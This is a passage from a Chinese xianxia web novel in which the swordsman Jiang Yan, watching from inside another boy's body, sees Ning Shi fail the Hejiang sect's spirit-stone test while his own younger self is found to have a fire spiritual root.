“这个世界也是真实的,但所有的事情都是过去已经发生的。” “你只能旁观,不能再改变了。” 江晏点头:“行吧。” “我也能理解,如果我真的改变了什么,会把后面发生的一切也都改变了。” 啾啾扑棱两下:“是的。” 江晏的意识体托腮,无聊地踢了一下腿:“这种感觉有点奇怪。” “我的灵魂就在这里,我看着我的世界里一切正在发生。” “但是我和他们之间隔了一层透明的薄膜。” 啾啾纠正:“别在这感慨了,都说了,是之前发生的事。” “你这顶多算是走马灯。” 江晏:…… 剑修好不容易攒出的一点文艺被强行打断,他翻了一个大大的白眼。 然后不再理会啾啾,转而去看着小十。 哦,小十来到了一处符纸铺。 这些日子,他和竹城里许多符纸铺达成了稳定的供货关系。 现在他面前的这一家,就是其中一个。 江晏陪来来回回他出去这么久,发现小十来这里最多。 不是因为老板的生意做得好。 也不是因为这里里何家不算远。 而是因为……这里附近有不少小商小贩。 卖什么的都有,一天到晚,附近都是熙熙攘攘的。 小十偶尔也不会一天窝着看书画符,还是出去摸鱼。 这里就是他最喜欢的摸鱼地点。 他有时候会在路边的铺子里点上一些吃的,坐在店里,慢慢吃上一天。 一边看着路上的行人来往,再听听他们都说了些什么。 江晏看着,总觉得他这样发展下去,都可以倒卖一些消息了。 面前,小十要了一份红油抄手,和一份牛肉,慢慢吃着。 现在恰好是吃饭的时间,来这家饭馆的人不少,热热闹闹,空气里全是不同的人声。 刚出锅的抄手有些烫,腾腾冒着热气。 小十就用勺子在碗里扒拉着,屋子里的那些话全往他的耳朵里面钻。 有人在谈论家事。 有人在说人间的战乱。 江晏就又想起了他做过的那一串可以接上的梦。 他一边正琢磨着梦里的小孩到底是谁,一边听着食客们说话。 于是就捕捉到了几个关键词: “欸,你听说没有啊?最近有大宗门照人了。” “什么东西?” “是合江宗招人啊,新收一批弟子,我们竹城有专门的人负责招生。” 江晏的耳朵竖了起来。 和这人对话的另一人是个黑皮肤的男子,似乎不太关心修真界的事,道:“什么门派,没听说过。” 他的友人便着急了起来,用胳膊撞了一下黑皮男人:“嗐,你平时不注意这些,懂什么啊。” “那可是修真界数一数二的大宗门呢。” 黑皮男人这才点点头:“这样啊。” 他看起来确实对修仙毫无兴趣,又道:“我们又没接触过这些东西,想来和我们无关。” “不如安心当差。” 话音刚落,便被友人锤了一拳:“你这没眼光的!” “你也不想想现在这世道,那边打仗都快打过来了,我们当差还能当多久?” “这次合江宗也说了,不管有没有修为,都可以去试试灵根。” “他们要找一些资质好的人来培养。” “依我看,还不如去碰碰运气。” “万一进了仙门,那可是前途无量啊,不比在这儿过着苦日子要好?” 这一番话后,那黑皮男子听呆了,眼神有些发直,明显是意动了。 江晏有点兴奋了,听到这段,说明距离自己参加大选、进入宗门的时间点不久了。 他便去看小十的反应。 ——如果小十听了这段话,也要去大选,那没准两人就能相遇。 江晏开始充满期待。 他感受着小十的反应,这孩子低着头,没有看那说话的两人一眼。 但手中拿着的勺子却直直地戳在抄手上,连把抄手戳破了皮都没有发现。 他四肢有些僵,但江晏能感受到,小十的心脏砰砰直跳。 他的身上热起来,是全身的血液在激动之下,涌向了所有细微的末梢。 江晏见他在桌前呆呆坐了片刻,突然起身,凑到二人身前来打听大选的时间。 江晏便微微放心了——妥了,这孩子是准备去参加大选了。 小十有求于人,便给那二人加了两个肉菜,顺便把他们之前的饭钱也付了。 吃人嘴软,拿人手短,于是二人的话匣子彻底打开了。 虽然说的是—— “啊?你怎么不知道呢?” “这些公告上不是都有吗?” 小十有些懵:“什么公告?” 那话多的男子报了个地名,道:“唔,就是在那里挂着的。” “前天才挂上去的,最近可多人看了。” 说罢,他狐疑地看着小十:“你怎么不知道呢?” 小十:…… 他和江晏异口同声:“最近在家里温书,甚少外出。” 男子听了,极为自来熟地拍了拍小十的肩膀:“兄弟,不是我夸海口。” “就你这种学习的毅力,去修仙也会成功的!” 小十:“……谢谢。” 那男子笑了两声,又道:“多谢兄弟的款待,这大选三天后就要开始了。” “我看兄弟你也是准备去的人,提前祝贺兄弟入选!” 话毕,小十和他们二人又天南海北地聊了一些,便告了别,向他们所说的合江宗大选公告的张贴处走去。 江晏已经完全陷入了回忆,直到小十到了地方,他这才回过神来。 那公告就挂在距离他从前干活的地方五个路口的酒楼上。 可能因为公告已经张贴出来两日的缘故,现在围在公告前 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啾啾道:“说实话,当年你站在这里,站在这张公告前,有没有想过飞升?” 江晏摊手:“当然想过啊,年轻人谁没点雄心壮志?” 随即又叹了一口气:“欸,现在说这些都不是时候了。” “——我到底什么时候才能把分魂收集齐啊!” 啾啾也无奈摊翅:“相信我,我也不喜欢和一个剑修去各个陌生的小世界里溜达。” 江晏:…… 他瞬间恢复了面无表情的状态。 共享视野里的景物晃啊晃,那是小十已经看完了公告,并且在众人的注目中用留影石记录下来后,走在回何府的路上。 江晏吃惊:“小朋友这么快就看完回家了?” 啾啾:“一共就那么一张纸几行字,你还想要让他看多久。” 江晏:“……行吧,其实我只是想看他能不能多待一会儿,没准能遇到我呢。” 啾啾奇道:“你也是公告张贴出来第三天这个时候去的?” 江晏面上变幻了几下:“……忘了具体是哪天,只记得我也是吃过饭去的。” 啾啾沉默了。 江晏的意识体自言自语: “那时候我给嬢嬢店里打工,还是挺忙的,我不愿意听那些客人聊天。” “所以也不知道公告已经挂出来了。” “但是,嬢嬢听见了。” “她告诉了我,让我去试一试。” “她说,肯定有很多人去,不一定选得上;但如果不去,就一定选不上。” “后来我听了她的话,去了。” 江晏说着,啾啾站在他面前听着。 剑修眉目俊秀,眼睫低垂,几缕黑发贴在脸颊边。 慢慢和正在用这具身体跑跑跳跳的少年重合起来。 江晏依旧在回忆: “我确实选上了。” “但合江宗的等级制度很严,我刚进去时,日子过的紧巴巴的。” “我在省钱,在卖笔记,在做任务,把攒下的灵石寄出一部分给她。” “她就能在竹城换成衣裳食物。” “后面我日子终于过得好些了。” “但她只是一个凡人,没有修为的凡人。” “她老死了。” 86. 小十和宁时 这段记忆说不上愉快。 但江晏的语气很是平静,搞得啾啾也不知道该说什么了。 它只能闭上了嘴巴,蹦蹦跳跳跳到江晏的肩头,用毛茸茸的脑袋蹭了蹭他的脖子。 江晏没有动,没有躲开它或者是靠近它。 一人一鸟沉默片刻,江晏先开口:“不知道小朋友在合江宗过得怎么样。” 啾啾知道他岔开了话题,但依旧顺着说下去:“你就这么确定他可以通过大选吗?” 江晏的意识体指指已经回到了何府藏书阁、正捧着一卷关于灵气如何运用的书正在阅读的小十,对啾啾道:“你看啊。” “他一直在学,唔,感谢何家在明面上还是摆着不少正经的修真书籍的。” “而且,小朋友那些符已经画的很熟练了,效果也很好。” “你知道的,最近他靠卖符纸开始赚钱了。” “可别忘记我们刚来这个世界的时候,小朋友的灵魂也是刚刚附在这具身体上面。” “——这也才不到半年吧,小朋友从一个对修真一窍不通的入门者,到现在能靠这些赚钱。” 江晏做出了总结:“即便是去掉那些努力,也能说明他天分很高了,他要是不能进合江宗才叫离谱。” 啾啾:…… 它半天憋出来一句:“你这滤镜也太大了吧——” 于是,大选前的三天日子,就在江晏的踌躇满志、小十的焦虑不安、啾啾的无言以对中过去了。 合江宗大选那一天,小十起得很早。 他吃了前一天晚上就从福宁楼买回来的、贴了延时符的包子。 又把自己在铜镜前收拾得利利索索,穿上了一身干干净净的白衣。 江晏觉得有几分眼熟,但又说不上来。 他和小十在镜子中的人影相对,评:“嗯,颇有几分执剑走天涯的少年意气了,稳了。” 旁听的啾啾:? 小十听不到江晏说了什么,他看起来有些紧张,凑近镜子摸了摸自己的鬓角,又转了个圈,扭着脖子从镜子里看自己。 然后江晏见他戳了戳束发,似乎不甚满意,又把束发拆了下来,重新扎了一遍。 小十掌心有些出汗,扎头发时,带掉了几根头发。 江晏:…… 那一瞬间的感觉有点奇怪。 小十平时不喜束发,尤其在何府空了之后,更是每天披着头发。 今天为了合江宗大选束发,加上他的感知和这具身体共享……好像就是他在给小十梳头发一样。 江晏的意识体有点僵了。 他本能地感觉这种感觉不太对劲。 ——这种感觉,应该是他在前两个小世界里,和分魂互动才会有的。 江晏突然有点头疼了。 他问啾啾:“……所以我什么时候才能从这个身体里脱离,去找分魂?” 啾啾奇道:“你前两天不还念叨着要看这孩子大选嘛,怎么突然想起来这个。” “至于你这个已经问了几百遍的问题,我的答案依旧是——不知道。” 江晏:……问了白问。 他便收敛了情绪,看着小十收拾完毕,走出何府。 他经过了那些卖符纸的铺子。 经过了合江宗张贴公告的地方。 经过了熙熙攘攘的福宁楼。 最终来到了竹城城郊。 ——小十根本不必担心找不到地方,在城郊,已经聚集了大批的人。 男女老少,修真世家与凡人,高门大户与白衣。 一眼望过去,粗略估计能有大几千人。 他们已经自觉地排成了队,在每一队的尽头,是一批身穿白衣的修士。 修士们的衣袖带着滚金的花纹,身后或负长剑,或负大刀。 还有一些修士的武器不同于寻常形状,他们便也不像对待刀剑之类的武器一样背在身后,而是随着武器的外观拿着。 小十的目光在这些修士身上一一扫过,江晏没有感受到他太多的情绪起伏。 ——估计是对这些不感兴趣。 江晏想,也许小朋友还是喜欢当符修。 他想,正好,合江宗修符的弟子不多,但门派中也有符修大佬…… 小十的脚步动起来,打断了江晏的思绪。 他排上了队,并询问面前的大哥这队是做什么的。 大哥:“哦,领身份牌的。” “领了牌子之后,合江宗标记上你的姓名,然后再交给合江宗,让他们混在一起抽签分组。” 小十点点头,然后江晏感到他突然之间浑身僵住了。 江晏略一思索后,也僵了—— 标记上你的姓名。 你的姓名。 姓名。 …… 小十这三天里一直在看书,练习灵气运用。 他对于能不能入选一事太过焦虑,以至于忘记给自己取一个像样的名字。 合江宗的效率很高,小十身前的队伍越来越短。 江晏作为一个旁观者,已经感受到崩溃。 更不用说当事人小十了。 如何在一柱香的时间里给自己建立一个极品ID? 江晏毫无头绪。 小十的目光开始乱飘。 不知道是在从四周的环境中找灵感,还是沉浸在思考中。 一块又一块牌子被领走。 小十面前就剩五个人了。 这孩子明显更着急了,江晏听见他小声自言自语: “十,十……这么短的时间里怎么……欸,有了。” 江晏突然不是很想知道他有了什么。 小十继续:“姓这个东西……” 他面前就剩两个人了。 江晏听见他自暴自弃道:“算了,我早上吃了什么?” “哦,福宁楼的包子。” “那就姓宁吧。” 江晏两眼一黑,对他取名方式的震惊已经盖过了反应这是个什么名字。 终于,小十来到了合江宗的弟子面前。 弟子拿起一块空白的木牌,对小十问:“姓名?” 小十干咳了一下:“宁时。” “丧乱既平,既安且宁。” “此时相望不相闻。” 江晏开始沉浸在他对外解释与姓名实际出处的巨大反差之中。 而那合江宗的弟子听了,笔下如飞,很快就写好了,把木牌递过来。 这个身体接住了。 江晏便随着这个身体的视线一起低头看去。 木牌上,是整齐的两个大字—— 宁时。 江晏:“ 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江晏道:“分魂在某种程度上可以说是我自己,我被选进了合江宗,想来分魂也会被选进去。” “这样的话,我们就可以在宗门相遇了,我倒是要看看他究竟是谁。” “唔,等我收集完分魂的碎片……” 啾啾打断了他的话:“你想的有些远了。” 江晏:? 啾啾用鸟爪踢了他一脚:“连大选都还没开始呢,你怎么能知道结果?” “而且,你在宗门那些年里,遇到过厉害的年轻符修?” 江晏如遭雷击。 另一种他从来没有想过的可能逐渐延伸。 江晏定定神,控制住自己的念头:“再说吧,走一步算一步。” “看,小朋友已经分好组了。” 是的,虽然现在江晏已经知道了小十就是宁时,但称呼对方“小朋友”的这个习惯还一时改不过来。 他跟着宁时来到了大选内部的场地,依照自己的分组,向着其中一堆人走去。 由于参加大选的人实在是太多了,即便是分了组,宁时所在的这堆人,看上去少说也得有一二百人。 每个组呈扇形排列,围在一起,就是一个巨大的圆形。 而在圆形中间,江晏看见,摆了一个普普通通的木桌子,桌子上方悬浮着一块透明的灵石。 个体不算大,不过成年男性拳头大小,看起来像是人间的白水晶。 但江晏知道,这就是大选中最重要的部分了——甚至比那些长老还要重要。 因为这块灵石名为试灵石,用来测试被试者的资质。 被试者不需要用意念调动灵力,只需要把手放在这块石头上,几息之后,试灵石就会发生变化。 依照被试者的灵根,从灵石下方逐渐变为不透明的颜色,并向上慢慢延伸。 如同水晶杯中盛着不同体量的酒水。 按照金、木、水、火、土、雷、冰、风不同的灵根,分别呈现金色、绿色、蓝色、红色、黄色、浅紫色、浅蓝色和浅绿色。 而至于颜色从底部开始蔓延的高度,高度越高,说明被试者天资越好。 87. 合江宗大选 江晏在上一辈子已经接触过这块贵重的试灵石了,因此,此时的他兴致缺缺,准备收回视线。 ……哦豁,视线无法转移。 毕竟他现在在宁时的身体上。 江晏的意识体叹了口气,感觉很多事情已经可以连上了。 他的失忆从逃出何家开始。 以逃出何家为节点,在之前,他的经历是那个梦境中颠沛流离的,和婆婆相依为命,最后被骗入何家的小孩。 在节点之后,则是分出了两条不同的线路。 江晏保有记忆的一条,也就是第一条,是他逃出何家后,通过了合江宗大选,进入宗门,从此从普通的外门弟子一路干到一峰之主。 第二条,是江晏没有记忆的线路,因为那是分魂宁时的经历。也就是他在逃出何家的意外中,本就不稳固的神魂发生了分裂,分裂出的这一片,附在何府小十身上。 然后就是江晏所见到的弄倒何家,成为符修,参加大选。 ……只是他现在并不清楚宁时之后的路是怎样走的。 江晏抬眼,去看宁时的动作。 这次,宁时终于把视线从那试灵石上收了回来,他看着同组内乌泱泱的人群,无意识地微微皱眉。 江晏估计他是在嫌人多——毕竟是分魂,应该也和他自己一样喜静。 宁时的目光在组内扫了一圈,试图寻找自己可以站下的地方。 江晏顺着他的视线打量着,突然感觉这里的景象有几分眼熟。 …… 他深深吸了一口气。 ——想起来了,什么都想起来了。 当年,他可是就被分到的现在这一组。 似乎……还认识了一个年龄相仿的朋友。 他们在等待自己上台的那段时间里,相谈甚欢。 这段记忆,对于江晏来说,已经是非常久远了。 但是此时,他的神魂浮着,那褪色的记忆又渐渐清晰起来。 好像隔着起了雾的琉璃窗,上面的水汽被擦去了。 江晏轻声说出了那个名字:“十十。” 突然听到江晏莫名其妙自言自语的啾啾:? 江晏看了它一眼,道:“唔,总之,待会儿这孩子可能要和我聊起来了。” “他会用十十这个名字和我聊天。” 啾啾有点混乱了:“什么?你们俩聊天?这可怎么聊?” 江晏虚指远处一个蹲在地上的少年:“我当年和小十分到了一组,还聊了几句,我有印象。” 啾啾:? 它看起来更混乱了。 江晏眯起眼,顺着宁时的视线看去。 从前的江晏面容稍显稚嫩,眼睛比他作峰主时稍大一些。 此时他和宁时一样,也是穿了一身白衣。 隔着宁时的身体,江晏有些恍惚了。 他想起来,当时的自己毫无修为,因为参加大选时,心里没底极了。 他穿着嬢嬢给他买的一身白衣服,试图贴近“仙人吗,总是一身白衣,仙气飘飘”的描述。 所以就算是蹲在地上等待,他也要把衣服的下摆卷起了,避免脏污。 我当时在想什么呢? 江晏想。 哦,是一边看着地上的蚂蚁,一边想能选上就好了。 视线里,从前的自己越来越大。 江晏反应过来,是宁时正在靠近少年的江晏。 ——任谁看到旁人长了一张和自己死之前一模一样的脸,都是会要过去看看的吧。 江晏不用思考就能猜到此时宁时的心理。 分魂一事过于超前,在逃出何家的那一晚上,宁时只会认为中间出了变故,江晏死了,而江晏的灵魂附在小十身上,成为此时的宁时。 换句话说,宁时的意识中,他此时面前的江晏,是不知被什么东西顶替了壳子的怪物。 他必然要去看看究竟。 江晏叹了口气——他觉得今天自己叹气的次数格外多。 所以,自己当时和宁时聊了什么呢? 江晏思索一番后发现,由于时间过久,他已经几乎忘掉了内容。 面前,自己年轻的脸越放越大。 这感觉实在是奇怪,江晏屏住了呼吸。 然后他感到宁时扯出来一个超级灿烂的、和他阴暗小男孩形象极为不相符的笑容,道: “嗨,你也是参加大选的吗?” 江晏:? 他看着旁边乌泱泱拿了木牌的一众人,第一次发现自己的分魂居然这么不会说话。 不过想想也能理解,本来宁时话就不多,又在何家空荡荡的府邸了呆了那么久。 还好,少年宁时面前的少年江晏也是个傻的。 他看起来似乎完全没有感觉到来搭话的这个少年说的内容有什么不对劲。 反而乐呵呵的:“是啊是啊,你也是甲辰组吗?” 宁时点头。 然后……两人相顾无言,出现了轻微的冷场。 江晏:…… 场面有些尴尬,他看不下去了。 但还好,宁时还记得自己来搭话的目的,他指了指少年江晏身边的空地,问:“我可以坐在你旁边吗?” 此话一出,旁观的啾啾也忍不住“嘶”了一声:“老掉牙的搭讪方式。” 江晏:…… 然而,面前少年江晏却还真的往一旁挪了挪,用手拍拍旁边腾出来的空地,又用另一只手朝着宁时挥了挥: “过来坐嘛。” 江晏干咳一声,不知是在给啾啾,还是再给自己解释:“唔……我当时是一个很友善的人。” “合江宗也没有说招多少人,所以也没什么竞争关系的意识。” “我就想着啊,他看起来人不错也很友善,坐我旁边也不碍事,还能交一个朋友。” “万一他选上了,我在修真界多条路子,耶。” 啾啾:“不是,你是怎么看出来这个把何家弄没了的人友善的?” 江晏提高了音量:“一码归一码嘛,我算是替天行道了。” 啾啾:……行吧。 面前,两个少年坐在一起,很快就熟络起来。 嗯,虽然是以宁时在套话为主。 但被套话的对象还觉得相谈甚欢。 如下: 宁时:“你就是竹城本地人吗?” 少年江晏:“啊,我一直住在竹城。” 有得到自己想要的答案,宁时又重复了一遍问题:“我问你是哪里人呢。” 少年江晏露出了一个不太好意思的笑:“其实我也 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宁时看起来被噎住了。 一连问了几个问题,他都没有得到自己需要的信息,宁时按了按额角。 面前,少年江晏道:“不过我听说过传言,失忆会导致神魂不稳,容易被什么东西附上去。” 宁时捕捉到了关键词,眼睛亮了。 少年江晏继续道:“我现在的东家很好,会给我买一些安神的药。” “其实我感觉作用不太大,但他们坚持去买,我也就没再阻拦。” 他又看了试灵石一眼:“要是能选上,他们就少了一笔负担……” 宁时眼珠转了转。 江晏感觉,以这孩子的心思,他可能已经认为现在在少年江晏的身体中的,是一个善于伪装的、不知道是什么东西的野魂。 江晏无语极了,他用意识体拍了宁时一巴掌:“我没被夺舍,这是我货真价实的灵魂。” 但宁时听不见。 他只是用山猫一样明亮又警惕的眼神,看着面前的人。 眼看着少年江晏所说的内容离大选越来越远,宁时试图把话题拉回轨道上:“这次大选,好像有没有接触过修炼都行。” 果然,少年江晏接话:“嗯呢,我之前就没有接触过修炼,不知道能不能选上。” 宁时吃了一惊。 但由于他脑海中预设的是“此野魂城府极深”,因此也没有完全信。 他便顺着少年江晏说下去:“可以选上的。” 少年江晏抬起头,脸颊因为激动而微微泛红:“你也可以的!” 说完,还靠了过来,拍了拍宁时的肩。 宁时的身体紧绷了一瞬,又很快强迫自己放松下来。 ——毕竟在他现有的认识中,是占据了自己真正身体的某个不知名灵魂拍了拍自己。 简直是鸠占鹊巢、人神共愤。 而一旁拥有上帝视角的江晏看着二人互动,差点笑出声来,恨不得能吃着瓜子看戏: 一个是真傻白甜。 一个是阴暗小男孩。 实在有趣。 88. 试灵石 宁时和少年江晏驴唇不对马嘴的聊天很快就要结束了。 因为人群中分开了一条路,让几名身着合江宗衣袍的弟子,一路从外缘走到了位于中心处的试灵石旁边。 这一行弟子不多,不过十来名。 江晏望过去,见到了几张以后经常见到的熟面孔—— 熟面孔来自专门负责招收新弟子的雪浪峰,江晏作修亭峰峰主时,雪浪峰没少往他那里送好苗子。 此时,隔了无数的时间空间再次相见,江晏倍感亲切。 大选中心处,一位雪浪峰的弟子在试灵石旁边坐下,又拿起一支笔,看起来是负责记录成绩。 另一名弟子守在试灵石旁边,是观察检测的职位。 其余的年轻弟子后退至大选高台的边缘,留下一位中年修士。 那中年修士干咳一声。 如果是凡人如此动作,声音不过能传出几丈远;而这名修士的声音,却覆盖了能容纳数千人的场地。 还盖过了众人悉悉索索的说话声,十分清晰。 在场中,有很多人像江晏一样,是没有接触过修习的。 他们对修真的认知,大多来源于话本。 无非是乘风御气,剑斩妖魔等等。 很厉害,但离普通人的生活有些遥远。 而此时中年修士这一声清晰无比的咳嗽,让在场无数人第一次切身感受到了修真的力量。 乱糟糟的大选现场安静下来。 中年修士扬声道:“诸位,大选马上就要开始了。” “请按照分组抽签,按每组编号的顺序,一次上台。” 他向后退了两步,走到了试灵石边上:“我手边的这个,是今天要用到的重要道具。” “相信诸位也都知道了,我们此次收人,不看修为的高低,只看天赋。” “上台后,把任意一只手搭在这块试灵石上面就好了。” “没有什么特殊要求,就像平时你摸普通的东西一样。” 中年修士又讲了一些注意事项,在每组组内抽签后,便宣布了大选正式开始。 第一名上场的是甲子组的一号。 这是一名普普通通的中年女性,黄皮,头发有些毛糙。 她一步一步登上了大选高台。 她应该只是一个凡人,并且还是不怎么抛头露面的那种性格。 由于站在高台上,众人都能清晰地看见,她的腿有点抖。 她慢慢地走到了试灵石边。 虽然中年修士已经介绍过规则,但她毕竟从来没有接触过这些东西,一时间,有些不敢把手放上去。 但她是第一个参加测试的。 因此合江宗的弟子们就格外有耐心。 试灵石边负责检测的那名弟子凑到了她身边。 众人只见两人小声说了什么,女人似乎下定了决心。 她胸口起伏数下,终于是抬起了手,慢慢贴上了试灵石。 接触到石面的那一瞬间,她本能地想放开手。 旁边的弟子早有预料,按住她的手腕,又低声安抚了几句。 女人渐渐平静下来,手掌肉眼可见地放松了,轻轻附在试灵石上。 台下,宁时和众人一样,目不转睛地看着。 那试灵石一开始毫无动静,过了片刻,却隐隐约约发出了金色的光,这团光芒由灵石的底部不断向上蔓延。 一直蔓延到了试灵石中部偏上的位置,便静止下来。 负责观察的弟子又在旁边等待了一会儿,见金色确实没有向上蔓延的趋势,便点点头,示意女人可以把手放下来了。 女人撤了手,脸上还有几分迷茫,她略带急切地问:“仙人,我这结果怎么样啊?” 弟子后退一步,摆摆手:“可不敢自称是仙人。” 又看向中年修士科负责记录的弟子,见他们毫无反应,便向女人道: “您是第一个接受测试的,没有其他人的对比,我们不好确定您自制的情况。” “等后面再多测一些人,我们会把结果告诉您。” 女人听了,眼中又闪出希冀,恍惚着走下高台。 江晏看着,神色平静:“我估计可能够呛。” “啊,不是估计。” “我现在记起来的很多细节,她的资质还可以,进一些门派差不多够用了。” “但是最后没有弟子和她说,想来是落选了。” 合江宗大选,本质上是一场运气的测试。 他看着女人甫一走回待选的人群中,就被团团围了上来,问东问西。 他想,自己当时也在旁边听了几句。 此时,现场的声音和他的记忆重叠了。 “欸,李夫人啊,是什么感觉呢?” “你这看起来还行,估计能选上。” “夫人啊,金色的灵力,是不是意味着你能把东西变成金子了?那你家可是要发财了。” …… 女人也并不知晓这些问题的答案。 合江宗大选,由于人太多,一个被试者测试过后,便要离开现场。 所以女人只是匆匆走着,用后背对着这些叽叽喳喳的问题,和第二个在高台上的被试者。 江晏又想到了什么。 这场地太大了,走出来也需要一段时间。 所以前一个离开的人,基本能知道后一个上台测试的人的情况。 他想,当时自己和宁时抽到的序号是连的。 按说中间还有其他组同号的被试者一次上台,他们俩不会连起来测。 但巧就巧在其他组同号的人,居然在点了两次名后都不在。 不知是放弃了资格,还是有事短暂的出去了。 但总之,测试跳过了他们,江晏就这样神奇地和宁时排在一起了。 宁时先,江晏后。 这个顺序…… 江晏眉心狂跳,他忘记了什么很重要的事。 小十,宁时,十十。 宁时的马甲太多,以至于带得他记忆也出现了混乱。 如果是符修小十,江晏认为,被选上是毫无疑问的事。 如果是十十…… 江晏从记忆的旮旯角扒拉出来某件久远的事。 他开始头疼了。 可他现在所处的是从前的世界。 他在宁时的身体里,两个人的魂魄都在这个壳子里,他什么都做不了。 …… 合江宗大选,并不像人间的科举一样,要做诗词歌赋。 只是把手放在试灵石上。 简单极了,因此进度也很快。 不过一个时辰,场地上已经少了一半人。 随着被试者的人数增多,筛选也变得简单起来—— 在试灵石中,灵气的高度如果蔓延到整个试灵石四分之三的高度以上,基本就 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“我本来以为他会顺顺利利的……” 啾啾更迷茫了:“你到底在说什么?” 江晏叹了口气:“是我简直不愿意回想的场面——我不用和你讲了。” 他指指正在登上大选高台的宁时:“唔,你自己看吧。” 高台上,宁时靠近了那块试灵石。 他的脚步很稳,几日前的焦虑,在这一刻通通消失了。 江晏知道,此刻的他非常自信。 这点,分魂和自己是一样的。 无论背后如何紧张,到了台面上,拿出的就是最好的状态。 而且,宁时确实有自信的资本。 ——毕竟是几个月内,从零基础修仙到靠画符赚钱的符修。 这足以说明他在修行方面的天赋。 宁时走到了试灵石旁边,又向台下看去。 江晏借着他的视线,看到他眼神其实没有聚焦。 台下众人,面孔都是模糊的。 都是他面前试灵石的背景板。 宁时微微转头,视线扫到了少年的江晏。 于是等待的众人不再是背景板了。 少年的脸凝实了。 少年站在台下,高马尾在风中飘扬。 他对宁时挥了挥手。 宁时嘴角绷了绷,身侧的手指微微勾了一下。 但他最终没露出什么表情,也没有说什么。 他侧过身,正对着这一块试灵石。 抬手,把手贴到了上面。 这也是时隔百余年,江晏再次摸到了这块石头。 不平的,微凉的,比普通石头更为光滑的。 宁时平视着这块石头。 透明的试灵石中,影影绰绰映出来他的脸。 模糊的脸,像隔着冬天琉璃窗上雾气。 宁时看着自己另一张模糊的脸,看进自己漆黑的瞳孔。 在剑修经历的第一个世界里,江晏知道了,如果你通过镜子,看到了另一个人的眼睛。 那他也看到了你。 正如此时。 江晏望进宁时的瞳孔。 第一次怀疑对方看到了自己的灵魂。 89. 落选与入选 江晏在试灵石中和宁时对望。 时间缓缓流逝。 宁时胸口起伏,江晏默默数着他呼吸的次数。 一次、两次…… 数到十的时候,江晏依旧能在试灵石中,看到对方清晰的倒影。 江晏有点不忍心数下去了。 ——还能看到倒影,这说明什么? ——说明试灵石根本没有发光啊! 说明试灵石根本没有检测到宁时的灵力! 显然,宁时也意识到了这一点。 他的心跳狂乱起来,一瞬间,出了一身冷汗,身后的衣裳都湿透了。 宁时用力把手掌往试灵石上怼了怼。 试灵石依旧是透明的,映着一张微微扭曲的脸。 …… 这么折腾几下后,时间又过去了不少。 宁时脑海中应该是空白了一瞬。 就连高台下面众人的议论声,也变得嘈杂而遥远了。 他抬眼望着负责观测试灵石的弟子,张了张嘴,努力开口:“……怎么会是这样。” 弟子用眼神表达出疑惑的神情。 宁时突然就有信心说下去了。 “你们这个石头,会不会是坏了啊。”他屈指敲了敲,“我可是火灵根的符修啊。” 台下的议论声似乎更大了。 那弟子听了他的话,脸上僵了一瞬,随即又露出了完美的笑。 他一边走上前拉宁时的手,试图把这个看起来难以接受现实的落选者和试灵石分开,一边口中温和道: “啊,时间到了呢。” “试灵石是不会有错的。” “唔,可能您不太适合修炼呢。” 宁时的手被他拉下来,又被他半强硬地带到了高台边缘。 他难以接受,语无伦次:“……可是,我是一名符修啊。” 他举起手指,手中夹了一张符纸,上面有火苗跳动:“看啊,我是有灵力的。” 弟子依旧保持着完美的笑:“嗯,我看到了,我知道。” 宁时让那火苗烧得更大了:“所以我被选中了吗?” 弟子语气温和,但坚定道:“没有呢。” “我们选择弟子的标准,和有没有灵力无关呢。” “只和资质有关。” 他瞥了一眼台上的试灵石:“唔,可是试灵石显示你的资质……” 弟子换了更加委婉的说法:“没有达到宗门的要求。” 他解释完了,似乎耐心也达到了极限。 ——毕竟,候选和落选的人,实在是太多了。 他轻轻推了推宁时。 弟子的本意是提醒他下台,没想到对方失魂落魄的程度超出了他的预料,这一推,对方趔趄了几步。 他慌慌张张地去扶对方。 对方却将将稳住了身形。 似乎终于是接受了现实,对方慢吞吞地,拖着步子走下去了。 弟子松了口气。 今天他见过了太多的落选者此般状态。 于是弟子迅速调整了自己,接着叫号,让后面的候选者上台。 好巧不巧,好几组的候选者都不在。 弟子便跳过他们,顺了下去。 刚好顺到了少年江晏那组。 刚好叫到了江晏。 此时,宁时还在离开大选场地的途中,并未走到外围。 少年江晏神色几度变幻,最终匆匆起身,向着宁时,向着高台走去。 他和宁时在半途中相遇。 少年江晏拉拉宁时的手:“你出去了等等我,我们一起走。” 宁时慢吞吞“唔”了一声,抬眼看了他一下,又很快低下了头。 少年江晏只当他落选了心情不好,需要时间独处,便没有再说什么。 他拍拍宁时的背,继续向前走着。 两人擦肩而过。 江晏困在宁时的身体里,顺着他的视线,看着脚下不断向后移动的杂草和黄土。 背后有隐约的喧嚣声传来。 宁时没有回头。 也确实不用他回头看,江晏能记起来自己当时去摸试灵石的场景。 …… 当年,他独自上台。 由于心中挂念着落选的小伙伴,他的紧张反而被冲淡了几分。 他有些急着大选过后去安慰宁时,动作便快了几分。 由于前面已经看过无数人的试灵过程,江晏没什么犹豫,径直将手放在了试灵石上。 直到微凉的感觉透过手掌心传来,他的思绪才从“十十”身上移开,清晰了几分。 …… 江晏想,自己当时在想着什么呢? 好像是乱糟糟的,想被小猫捣乱的毛线团。 有无数个念头在纠缠着。 自己有没有修仙的资质? 自己会是什么灵根? 会不会选上,会不会落选? 如果自己选上了,要怎么安慰十十? 选上以后,能看到另一个世界吗? …… 念头千转万转,在外界看,也不过是几息的时间。 有什么东西亮起来了,江晏眨了眨眼。 哦,是面前的试灵石。 试灵石上,有一团红色从底部向上蔓延。 最初是浅浅的红色,然后变得浓郁。 就像是他在嬢嬢店里,看到有客人用琉璃壶泡的普洱。 颜色从无到有,越发深重,渐渐把上方原本透明的灵石也染色了亮色。 那一刻,江晏想,原来我有灵根啊。 居然是火灵根。 他看着灵石中渐涨的色彩,思绪纷飞,一时间竟连一个也分辨不出来。 最后他抓住了一个念头的尾巴。 他想,如果没有选上,我还回去帮嬢嬢搭理店铺的话,是不是可以节省一笔柴火费用。 直接用灵根烧火就可以了。 …… 越紧张,思绪越容易乱。 江晏当时也被自己这个念头惊了一下,匆忙回神,继续盯着眼前的试灵石看。 此时,距离他把手放上去,已经过了十几息的时间。 灵石中红色的灵力已经漫过了灵石三分之二的高度,还在继续向上延伸。 江晏有些呆住了。 作为一个从来没怎么接触过修真的普通人,他一直觉得,自己能有灵力已经很不错了。 没有想到就连灵力的资质也看起来不错的样子。 他侧过脸,去看旁边合江宗弟子的反应。 只见那弟子只看着试灵石,眼中神采奕奕。 少年江晏便又随着他的视线看回试灵石。 视线这么一来一回之间,试灵石内的红色,已经涨到了四分之三的高度。 